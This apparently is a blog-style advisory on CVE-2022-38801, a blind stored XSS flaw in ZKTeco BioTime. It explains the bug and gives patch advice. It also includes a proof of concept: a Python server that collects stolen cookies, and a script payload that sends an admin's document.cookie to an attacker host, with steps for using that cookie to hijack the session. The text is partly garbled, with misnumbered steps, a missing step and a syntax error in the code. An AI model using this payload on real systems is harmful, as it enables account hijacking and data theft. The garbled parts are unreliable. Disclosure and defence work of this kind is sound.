ZKTeco’s BioTime is a popular time attendance and workforce management system used worldwide by small and large companies. On August 19, 2022, a severe vulnerability [NVD Reference] was uncovered in BioTime versions earlier than 8.5.3 Build:20200816.447. The bug allows regular employees to hijack admin user sessions and steal their cookies by abusing a blind cross-site scripting (XSS) flaw. This post explains what blind XSS is, how the flaw happens in BioTime, and includes a working exploit so you can protect your organization.
What Is Blind XSS?
Blind Cross-Site Scripting (Blind XSS) is a kind of XSS where the attacker inputs malicious JavaScript code into a web application without seeing immediate feedback. The payload runs later, when another user (such as an administrator) views or processes the stored data—which often happens on a different page or application interface.
In other words, attackers “write and wait.” When the right person (most dangerously, an administrator) triggers the code, it runs in their browser, potentially exposing session cookies, performing unwanted actions, or hijacking sessions.
What’s the Problem?
ZKTeco BioTime allows employees to submit personal information such as names, nicknames, or custom requests through web forms. Unfortunately, these input fields don’t sanitize or filter out script tags or JavaScript code.
When an administrator later views the user info (for example, in the admin dashboard), any scripts planted by employees are executed in the admin’s browser, in their session. This is known as a stored (or blind) XSS.
The malicious script runs in the admin’s browser.
5. The script can steal admin cookies or send admin session info to the attacker’s server, allowing session hijack.
Proof-of-Concept (PoC) Exploit
Here’s how a malicious employee can hijack an admin session.
Step 1: Prepare a Data Harvester
On your (attacker’s) machine, start a simple web server to collect stolen admin cookies.
# save as stealer.py and run: python stealer.py
import http.server
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
print("Stolen cookie:", self.path)
self.send_response(200)
self.end_headers()
self.wfile.write(b'ok')
if __name__ == "__main__":
print("Listening on http://...:800";)
http.server.HTTPServer(("...", 800), Handler).serve_forever()
Step 2: Craft the XSS Payload
Replace YOUR_IP with your attacker machine’s IP or domain.
<script>
new Image().src="http://YOUR_IP:800/?cookie="+document.cookie
</script>
Step 4: Wait for Admin to Trigger
- When the admin views the employee list or that specific profile, their browser runs the XSS code.
Step 5: Use the Stolen Cookie
- The attacker can now use the admin’s cookie to impersonate them, gain admin access, or perform other attacks.
Update ZKTeco BioTime to version 8.5.3 Build:20200816.447 or later.
- If that’s impossible, sanitize and filter all user-supplied fields—block script tags, HTML, and JavaScript.
Full References
- NVD Listing – CVE-2022-38801
- Zkteco BioTime Website
- OWASP – Cross Site Scripting (XSS)
Conclusion
Blind XSS flaws like CVE-2022-38801 in ZKTeco BioTime are especially dangerous because attackers only need to place malicious scripts—they don’t need to wait for immediate feedback. When admins inevitably trigger the payloads, attackers can gain full admin access and compromise sensitive data or employee privacy.
If you use ZKTeco BioTime, patch immediately or put strict input validation in place to prevent exploitation.
Stay safe, and always validate user input!
*This post is for educational purposes only. Do not attack systems without permission.*
Timeline
Published on: 11/30/2022 14:15:00 UTC
Last modified on: 12/02/2022 15:12:00 UTC